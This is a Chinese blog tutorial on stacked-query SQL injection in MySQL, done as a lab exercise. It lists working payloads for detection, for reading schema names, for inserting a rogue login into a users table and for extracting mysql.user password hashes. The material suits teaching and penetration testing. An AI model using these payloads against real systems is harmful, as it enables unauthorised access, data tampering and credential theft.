web安全之SQL注入(五)

文中详细讲解web安全之SQL注入,通过文中内容更加深入的掌握SQL注入的原理及检测方法,从而更好的用于渗透测试中;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

web安全之SQL注入(五)

堆叠注入

原理

堆叠查询可以执行多条的SQL语句,语句之前只需要使用分号隔开,而堆叠查询注入就是利用了这个特点。在MySQL中mysqli_multi_query 和 mysql_multi_query这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
但是堆叠查询只能返回第一条查询信息,不返回后面的信息;堆叠注入的危害很大,可以任意使用增删改查语句,从而使攻击者获得更多的权限

代码分析

从图中我们就可以看当这个参数是我们可控的,且可以使用堆叠查询时,则我们就可以利用这个特性来进行堆叠注入攻击。
在这里插入图片描述

漏洞演示

当然堆叠注入的判断方式和常规一样,同样通过1=1 1=2 这样来进行判断。

id=1' and '1'='1
id=1' and '1'='2

在这里插入图片描述
在这里插入图片描述
这里同样可以使用延迟来判断。

id=1' and sleep(5)--+

在这里插入图片描述
要使用堆叠注入来修改数据库,首先我们需要获取表名,字段名这些敏感信息。
首先获取表名

id=-1' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+

在这里插入图片描述
再获取字段名

id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' limit 1)--+

在这里插入图片描述
当有了这些信息后,我们就可以利用堆叠查询的特性,进行增删改查等操作。

id=-1';insert into users values(20,'longwaer','123456')--+
id=-1';insert into users(id,username,password)values(20,'longwaer','123456')--+

针对这往数据库中添加信息有两种写法,一种就是在users后面把字段都写上,还有一种就是这上面的不写的。
在这里插入图片描述
可以从上图看出已成功将账户和密码写入,这样我们就可以使用我们写入的账户进行后台登陆。
同样我们可以在这个添加字符串的位置,修改成获取mysql数据库密码的子查询语句,从而获取敏感信息。

id=-1';insert into users values(1000,(select authentication_string from mysql.user limit 1 ),'123456')--+

在正常的时候,我们就可以在这个位置获取到mysql的密码,因为使用的docker里面mysql是空密码,所以这些不显示。
在这里插入图片描述
同理这里面子查询同样可以查询其余的敏感信息。

id=-1';insert into users values(1001,(select database()),'123456')--+

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

全局变量Global

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值